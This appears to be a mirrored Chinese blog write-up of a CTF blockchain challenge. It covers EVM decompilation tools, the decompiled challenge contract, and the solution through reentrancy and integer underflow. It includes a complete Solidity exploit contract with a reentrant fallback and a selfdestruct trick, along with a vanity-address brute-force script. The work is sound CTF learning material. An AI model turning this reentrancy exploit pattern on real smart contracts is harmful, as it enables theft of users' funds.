31

XCTF高校战“疫”区块链Writeup + 合约逆向题技巧分享

 4 years ago
source link: https://blog.kaaass.net/archives/1328
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

文章目录 [隐藏]

由于疫情学校还没开学,于是这几天一直在家里学(mo)习(yu)。前几天正好XCTF在办高校战“疫”,校内拉人打,所以就去打了一波。比赛两天,一天摸了一道题,总算也是有了点输出。第一天上来摸得Misc比较常规就不说了,主要来说一下第二天摸得区块链题吧。这是我第一次见到区块链合约的题目,此前完全不知道还有这种题目(是我不刷题,我自裁)。然后就花了一天时间从头学,把这题拿了下来。做题中遇到了很多坑,也积累了一些一般WP里没有提到的经验,所以我就自己写一篇文章来记录下这些细节。

简单了解了下以太坊的知识后,就可以搜集相关的工具了。

Remix的使用

简单操作可以查看: 实现CTF智能合约题目的环境部署

第一次使用需要在左侧Plugin Manager启用插件:Solidity compiler、Deploy & run transactions。

Web3.js的使用

可以直接在Remix页面打开调试工具,这样还可以使用MetaMask管理钱包,非常方便。

从现有交易分析

显然这道题需要对合约进行逆向,所以我简单参考了下这类题目的出题方法和writeup。比较关键的是这两篇: 实现CTF智能合约题目的环境部署智能合约逆向心法34C3_CTF题分析(案例篇·一) 。可以看到,发送邮件是通过监听Event Log来实现的,而Event Log的信息实际上是公开的。因此可以在etherscan看到其他成功解题者的记录,所以一个很直接的想法就是分析别人的解题过程(躺

不过出题人不是傻子,解题人也不是傻子,除非是特别简单的题目,否则拿别人的code直接重放基本上是不可能成功。别人的解题过程只能提供思路,而且并不会包含所有的解题细节。以我自己最终的解题流程( https://ropsten.etherscan.io/tx/0x7df847f7… )为例,可以简单的看出分析现有流程能得到什么。

看交易信息可以看出,这个交易实际上是调用了合约 0x0fa9f3b59cd9dc6bb572a4e2d387e9d2aa508fffgetFlag(string b64email) 函数,遂查看该合约。从合约现有的交易(不计Reverted和创建合约共6个)可以大致整理出调用的顺序:

  • payme
  • buy
  • change
  • attack
  • claim
  • payforflag

然后关注合约间调用,会发现change执行后目标块连续回调了两次,attack执行后和目标块共有两次来回调用(每次转200wei),buy交易发送了1wei。能从交易记录分析出来的内容其实相当有限,但是合约间交易其实还是能说明一些问题的。之后如果想要获得进一步的信息,就需要对这个合约进行逆向分析了。

合约逆向

做人还是要有远大志向,不能老是靠蹲别人的合约过活,不仅浪费时间,而且说不定下次就能拿一血呢

(桃饱网会员) 。再说学了逆向就可以更好的分析现有解题用的合约了,因此我们直接来分析题目的合约( https://ropsten.etherscan.io/address/0x40a590… )。关于EVM的一些基础介绍可以参考文章: https://lilymoana.github.io/ethereum…

保存合约

有很多种方法,不过最简单的就是把合约代码(etherscan的contract)复制到文件中。执行

cat contract.hex | xxd -r -ps > contract.bin

就能获得合约的二进制形式了。

Ethervm

进入 https://ethervm.io/decompile/ 把合约地址丢进去,你就能得到反编译和反汇编两个结果了,并且还会直接找出所有公开方法。反汇编结果暂且不论,简单提一下反编译结果的阅读。它的逆向结果是尽可能还原solidity的,因此代码风格类似solidity。

main函数对应的就是合约代码最开始的函数识别逻辑,检查 msg.data[ 0x00 : 0x20 ] 的函数签名并处理fallback函数。之后Ethervm会把每个函数抽取为对应“Internal Methods”,main中只保留从 msg.data 获得参数的代码,之后调用对应函数。比如

if (var0 == 0x1e77933e) {
    // Dispatch table entry for change(address)
    var1 = msg.value;
        
    if (var1) { revert(memory[0x00:0x00]); }
        
    var1 = 0x010c;
    var var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff;
    change(var2);
    stop();
}

而且Ethervm不会尝试还原局部变量(包括编译生成的中间变量)和全局变量。所有出入栈都会被展开成类似这种形式:

var var0 = msg.sender;
var var1 = var0 & 0xffffffffffffffffffffffffffffffffffffffff;
var var2 = 0x2f54bf6e;
var temp0 = memory[0x40:0x60];
memory[temp0:temp0 + 0x20] = (var2 & 0xffffffff) * 0x0100000000000000000000000000000000000000000000000000000000;
var temp1 = temp0 + 0x04;
memory[temp1:temp1 + 0x20] = arg0 & 0xffffffffffffffffffffffffffffffffffffffff;
var var3 = temp1 + 0x20;
var var4 = 0x20;
var var5 = memory[0x40:0x60];
var var6 = var3 - var5;
var var7 = var5;
var var8 = 0x00;
var var9 = var1;
var var10 = !address(var9).code.length;

并且也不会对storage信息(包括mapping)进行处理。基本上就是把字节码翻译为等价solidity代码。

ida-evm

IDA插件,用于disassemble并绘制flowt chart。需要先把合约转为二进制形式再进行读取,载入后可能需要手动C一下。

qAFFJzq.png!web

Rattle比ida-evm的效果好很多,而且不需要依赖诸如IDA的程序。Rattle会对字节码进行简化、调整格式,把代码转为SSA的形式,并进行一些优化。个人感觉读起来比ida-evm的结果要方便很多。

ZRnmIfn.png!web

不过自带的函数hash表真的很小。而且有些函数会被留在_fallthrough里。而且最后的格式是图片,因此查看也多少有点麻烦,不过也已经非常适合用来分析了。

Panoramix

Panoramix是我用过的这几个工具里,逆向代码质量最好的。Panoramix的逆向结果是他们自己定义的pan,语法类似于Python。直接上一份题目代码的完整逆向结果:

#
#  Panoramix 4 Oct 2019                                                                                                    
#  Decompiled source of 0x40a590b70790930ceed4d148bF365eeA9e8b35F4
#                                                                                                                          
#  Let's make the world open source                                                                                        
#                                                                                                                          
 
const eth_balance = eth.balance(this.address)
 
def storage:
  stor0 is addr at storage 0
  stor1 is addr at storage 1
  balanceOf is mapping of uint256 at storage 2
  stor3 is mapping of uint8 at storage 3
  unknown35983396 is mapping of uint256 at storage 4
 
def unknown35983396(addr _param1): # not payable
  return unknown35983396[_param1]
 
def status(address _param1): # not payable
  return bool(stor3[_param1])
 
def balanceOf(address _owner): # not payable
  return balanceOf[_owner]
 
def unknownb4de8673(addr _param1): # not payable
  return balanceOf[addr(_param1)]
 
#
#  Regular functions                                                                                                       
#                                                                                                                          
 
def _fallback() payable: # default function
  revert
 
def unknown11f776bc(): # not payable
  require caller != tx.origin
  require caller % 4096 == 4095
  if bool(stor3[caller]) == 1:
      stor3[caller] = 0
      stor0 = caller
 
def buy() payable: 
  require caller != tx.origin
  require caller % 4096 == 4095
  require not unknown35983396[caller]
  require not balanceOf[caller]
  require call.value == 1
  balanceOf[caller] = 100
  unknown35983396[caller] = 1
  return 1
 
def unknown6bc344bc(array _param1): # not payable
  require caller == stor0
  require unknown35983396[caller] >= 100
  stor0 = stor1
  unknown35983396[caller] = 0
  call 0x4cfbdfe01daef460b925773754821e7461750923 with:
     value eth.balance(this.address) wei
       gas 2300 * is_zero(value) wei
  if not ext_call.success:
      revert with ext_call.return_data[0 len return_data.size]
  log 0x296b9274: Array(len=_param1.length, data=_param1[all])
 
def change(address _toToken): # not payable
  require ext_code.size(caller)
  call caller.isOwner(address param1) with:
       gas gas_remaining wei
      args _toToken
  if not ext_call.success:
      revert with ext_call.return_data[0 len return_data.size]
  require return_data.size >= 32
  if not ext_call.return_data[0]:
      require ext_code.size(caller)
      call caller.isOwner(address param1) with:
           gas gas_remaining wei
          args _toToken
      if not ext_call.success:
          revert with ext_call.return_data[0 len return_data.size]
      require return_data.size >= 32
      stor3[caller] = uint8(bool(ext_call.return_data[0]))
 
def transfer(address _to, uint256 _value): # not payable
  require _to
  require _value > 0
  require balanceOf[caller] >= _value
  require balanceOf[addr(_to)] + _value > balanceOf[addr(_to)]
  balanceOf[caller] -= _value
  balanceOf[addr(_to)] += _value
  require balanceOf[caller] + balanceOf[addr(_to)] == balanceOf[caller] + balanceOf[addr(_to)]
  return 1
 
def sell(uint256 _amount): # not payable
  require _amount >= 200
  require unknown35983396[caller] > 0
  require balanceOf[caller] >= _amount
  require eth.balance(this.address) >= _amount
  call caller with:
     value _amount wei
       gas gas_remaining wei
  require this.address
  require _amount > 0
  require balanceOf[caller] >= _amount
  require balanceOf[addr(this.address)] + _amount > balanceOf[addr(this.address)]
  balanceOf[caller] -= _amount
  balanceOf[addr(this.address)] += _amount
  require balanceOf[caller] + balanceOf[addr(this.address)] == balanceOf[caller] + balanceOf[addr(this.address)]
  unknown35983396[caller]--
  return 1

可以看到,Panoramix能识别出require、能处理局部变量、能识别storage布局、能识别fallback函数,甚至能识别出mapping。对着这个输出结果基本上直接就能看出合约的逻辑。而且更骚的是,Etherscan目前已经集成了Panoramix(直接点合约页面Contract下方的Decompile ByteCode就行)。不过官网我试了下似乎并不能读取mainnet之外其他的合约,而且如果你要识别现有程序,就需要自己clone代码进行修改了: https://github.com/eveem-org/panoramix

我推荐的patch是修改pano/loader.py的三处,一处是code_fetch函数(直接读取contract.hex):

def code_fetch(address, network='mainnet'):
    with open('contract.hex', 'r') as f:
        code = ''.join(f.readlines())
    print(code)
    return code

另一处是load_binary函数,在while循环前加入一行 source = source.replace(‘\n’, ”) 。还有一处就是注释 import secret 。之后把合约hex数据存入contract.hex,然后调用程序传入合约地址就行。另外,逆向过程中还有可能产生一些工具函数的调用,可以参考官网的文档: https://eveem.org/tutorial/

ethereum-graph-debugger

看着很香,但是还没试过,先咕着: https://github.com/fergarrui/ethereum-graph-debugger

题目分析

当时做题的时候我是直接阅读Ethervm的(读的还是很痛苦的,因为没搞懂Panoramix的输出格式),不过由于Panoramix的输出更友好,所以相关代码将会用Panoramix的逆向结果说明。

从题目来看,题目最终的目的是触发事件 event pikapika_SendFlag(string b64email) 。但是题目没有提供合约源码,因此本题需要对合约进行逆向。显然 payforflag(string) 和flag获得有关,而且方法逻辑中确实调用了log函数。

def unknown6bc344bc(array _param1): # not payable
  require caller == stor0
  require unknown35983396[caller] >= 100
  stor0 = stor1
  unknown35983396[caller] = 0
  call 0x4cfbdfe01daef460b925773754821e7461750923 with:
     value eth.balance(this.address) wei
       gas 2300 * is_zero(value) wei
  if not ext_call.success:
      revert with ext_call.return_data[0 len return_data.size]
  log 0x296b9274: Array(len=_param1.length, data=_param1[all])

分析可以看出:

  1. 要求msg.sender == stor0
  2. 要求修改mapping unknown35983396 >= 100

之后会清除unknown35983396、修改stor0、将所有余额转至0x4cfbdfe01daef460b925773754821e7461750923、记录事件日志。寻找unknown35983396的使用,可以发现其修改共有两处(除了归零),一次位于sell(uint256)每次调用自减,另外就是buy()时设置为1。由于没有检查溢出,因此明显需要调用两次sell(uint256)。

def sell(uint256 _amount): # not payable
  require _amount >= 200
  require unknown35983396[caller] > 0
  require balanceOf[caller] >= _amount
  require eth.balance(this.address) >= _amount
  call caller with:
     value _amount wei
       gas gas_remaining wei
  require this.address
  require _amount > 0
  require balanceOf[caller] >= _amount
  require balanceOf[addr(this.address)] + _amount > balanceOf[addr(this.address)]
  balanceOf[caller] -= _amount
  balanceOf[addr(this.address)] += _amount
  require balanceOf[caller] + balanceOf[addr(this.address)] == balanceOf[caller] + balanceOf[addr(this.address)]
  unknown35983396[caller]--
  return 1

sell(uint256) 的参数是售卖的数量。观察限制条件发现,需要:

  1. _amount >= 200
  2. unknown35983396>0
  3. 代币余额 >= _amount
  4. 账户eth余额 >= _amount

之后函数会发送空数据调用给调用方进行转账(eth),处理代币的转账,最后修改unknown35983396。要修改两次unknown35983396,显然需要重复调用 sell(uint256) ,并且第二次调用产生在状态修改前。因此可以在转账eth的时候再次发起一次 sell(uint256) 的调用,这可以通过fallback函数来实现。

为了更改代币余额,查找相关函数,可以发现代币余额的调整发生在buy()函数。

def buy() payable: 
  require caller != tx.origin
  require caller % 4096 == 4095
  require not unknown35983396[caller]
  require not balanceOf[caller]
  require call.value == 1
  balanceOf[caller] = 100
  unknown35983396[caller] = 1
  return 1

函数调用需满足tx.origin == msg.sender(也就是需要通过其他合约访问)、合约地址结尾msg.sender & 0x0fff == 0x0fff 。因此显然要编写漏洞利用合约,并且需要控制合约地址。由于unknown35983396的要求,buy只可以调用一次,并且一次只能转账1 wei。

由于要调用两次 sell(uint256) ,而且_amount >= 200,因此调用账户至少需要有400单位代币,并且合约账户eth余额 >= 400wei。400单位代币可以通过使用其他账户购买,并调用 transfer(address,uint256) 将代币余额转到最终调用 sell(uint256) 的账户。而账户eth余额,由于合约只有 buy() 一个payable函数,所以如果用 buy() 转账就要调用400次,显然很麻烦。因此可以采用selfdestruct指定参数的方法转出合约的全部余额。

另外关于stor0,可以看到在函数签名为0x11f776bc的函数中进行了修改。

def unknown11f776bc(): # not payable
  require caller != tx.origin
  require caller % 4096 == 4095
  if bool(stor3[caller]) == 1:
      stor3[caller] = 0
      stor0 = caller

这里还要求mapping stor3设为1。可以查找到,stor3的修改位于 change(address)

def change(address _toToken): # not payable
  require ext_code.size(caller)
  call caller.isOwner(address param1) with:
       gas gas_remaining wei
      args _toToken
  if not ext_call.success:
      revert with ext_call.return_data[0 len return_data.size]
  require return_data.size >= 32
  if not ext_call.return_data[0]:
      require ext_code.size(caller)
      call caller.isOwner(address param1) with:
           gas gas_remaining wei
          args _toToken
      if not ext_call.success:
          revert with ext_call.return_data[0 len return_data.size]
      require return_data.size >= 32
      stor3[caller] = uint8(bool(ext_call.return_data[0]))

这里两次调用了消息发送方的 isOwner(address) 函数,并且要求调用结果一次返回假、一次返回真。

漏洞利用

通过分析可以看出,主要利用的是重入攻击(Reentrancy Attack)和算数溢出。可以整理出漏洞利用的大致流程:

  1. 分别生成4个账户
  2. 分别创建漏洞利用合约,地址要满足条件
  3. 分别调用 buy() 传送1 wei
  4. 取其中三个合约,分别调用transfer(address,uint256),将其代币余额转至攻击用的合约
  5. 新建合约,向传送至少400 wei
  6. 在新建合约执行 selfdestruct(题目合约)
  7. 调用 sell(uint256) (fallback函数负责第二次调用)
  8. 调用 change(address)
  9. 调用 0x11f776bc
  10. 调用 payforflag(string) 得到flag

利用代码如下:

pragma solidity >=0.4.22 <0.7.0;
 
contract Exp {
 
    address private me;
    address private game = 0x40a590b70790930ceed4d148bF365eeA9e8b35F4;
    
    bool private ownerAsk = false;
    bool private recall = false;
    
    constructor() public {
        me = msg.sender;
    }
    
    modifier check() {
        require(msg.sender == me, "Caller is not owner");
        _;
    }
    
    event OwnerCheck(bytes data, address who, address check, bool ret, bool flag);
    
    function isOwner(address check) external view returns (bool) {
        emit OwnerCheck(msg.data, msg.sender, check, check == me, ownerAsk);
        if (check == me) {
            if (!ownerAsk) {
                ownerAsk = true;
                return false;
            }
            return true;
        }
        return false;
    }
 
    function payme() public payable {}
    
    function buy() public check {
        game.call.gas(msg.gas).value(0x01)(bytes4(keccak256("buy()")));
    }
    
    function change() public check {
        game.call.gas(msg.gas)(bytes4(keccak256("change(address)")), me);
    }
    
    function transfer(address addr) public check {
        game.call.gas(msg.gas)(bytes4(keccak256("transfer(address,uint256)")), addr, uint256(100));
    }
    
    function attack() public check {
        game.call.gas(msg.gas)(bytes4(keccak256("sell(uint256)")), uint256(200));
    }
    
    event FallbackCalled(bytes data, address who);
    
    function () payable {
        emit FallbackCalled(msg.data, msg.sender);
        
        if (msg.sender == game && !recall) {
            recall = true;
            game.call.gas(msg.gas)(bytes4(keccak256("sell(uint256)")), uint256(200));
        }
    }
    
    function claim() public check {
        var sig = 0x11f776bc;
        
        game.call.gas(msg.gas)(bytes4(sig));
    }
    
    function getFlag(string b64email) public check {
        game.call.gas(msg.gas)(abi.encodeWithSignature("payforflag(string)", b64email));
    }
    
    function kill() public check {
        if (me == msg.sender) {
            selfdestruct(me);
        }
    }
    
    function trans() public check {
        if (me == msg.sender) {
            selfdestruct(game);
        }
    }
    
    function reset() public check {
        recall = false;
        ownerAsk = false;
    }
    
    function set(bool a, bool b) public check {
        recall = a;
        ownerAsk = b;
    }
}

合约地址限制

题目要求合约地址末尾为0xfff。合约地址的计算实际上是rlp编码的[钱包地址, nonce(交易次数)]。根据钱包地址穷举nonce一般会得到一个很大的值(我自己试了几个在两三千左右),这么大的交易次数要想达到还是很麻烦的。因此可以设置nonce = 0,之后随机生成钱包账户检查是否符合。生成代码如下(node.js):

const rlp = require('rlp');
const keccak = require('keccak');
const Web3 = require('web3');
var CryptoJS = require('crypto-js');
var EC = require('elliptic').ec;
var ec = new EC('secp256k1');
 
var nonce = 0x00;
 
function make(sender, nonce) {
    var input_arr = [ sender, nonce ];
    var rlp_encoded = rlp.encode(input_arr);
 
    var contract_address_long = keccak('keccak256').update(rlp_encoded).digest('hex');
 
    var contract_address = contract_address_long.substring(24); // Trim the first 24 characters.
    return contract_address;
}
 
var private;
 
function create() {
    var keyPair = ec.genKeyPair();
 
    // Set the privKey
    private = keyPair.getPrivate();
 
    // Derive the pubKey
    var compact = false;
    var pubKey = keyPair.getPublic(compact, 'hex').slice(2);
 
    // pubKey -> address
    var pubKeyWordArray = CryptoJS.enc.Hex.parse(pubKey);
    var hash = CryptoJS.SHA3(pubKeyWordArray, { outputLength: 256 });
    var address = hash.toString(CryptoJS.enc.Hex).slice(24);
    
    return address;
}
 
while (true) {
    addr = create();
    caddr = make('0x' + addr, nonce);
    if (caddr.slice(-3) == 'fff') {
        console.log(caddr);
        console.log(addr);
        console.log(private.toString(16));
        break;
    }
}

Gas是执行合约函数的工本费,收费标准和编译后形成的指令有关,这里注意的是Gas一定要给够。如果Gas不给够,那合约调用是不会产生效果的。

自定义交易内容

使用Remix的调试工具发送交易确实很简单,但是有时候还是需要自定义交易内容的。比如漏洞利用合约的payme(),需要设置value值确定转账数额。此时可以用web3.js自定义交易内容:

let obj = {
    to: "",        // 目标地址
    gas: 3000000,  // gas值
    value: 1,      // value值,单位:wei
    data:""        // 交易数据
    // 其余请自行查阅文档
};
web3.eth.sendTransaction(obj, (err, address) => {
  if (!err)
    console.log(address);
});

检查mapping值

由于漏洞利用步骤复杂,很容易搞错小步骤导致后续利用失败,因此可以检查mapping的值来判断是否正确调用。mapping实际上也是存储在Storage中的,并且它位移的计算是: keccak256(调用方地址 + mapping位移) 。mapping位移就是Storage的偏移,Panoramix的输出中即at storage后面的数字。

使用web3.js可以查询到Storage的数据:

web3.eth.getStorageAt("合约地址", "偏移", function(x,y){console.log(x,y);})

防偷鸡措施

由于以太坊是完全透明公开的,所以你的漏洞利用合约和调用记录完全是公开透明的,因此要想防止别人分析你的解题合约还是有一定难度的。这里提供几个建议:

  1. 取复杂的函数名,最好保证签名数据库中没有记录
  2. 如果合约有多个步骤,多写几个合约
  3. 如果可以,用不同的账户创建多个合约进行利用

不过说实话,就算拿到了解题合约,如果题目出的足够好,那分析得到的结果也没有太大的用处。因此其实还要看题目的质量如何。

推荐阅读


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK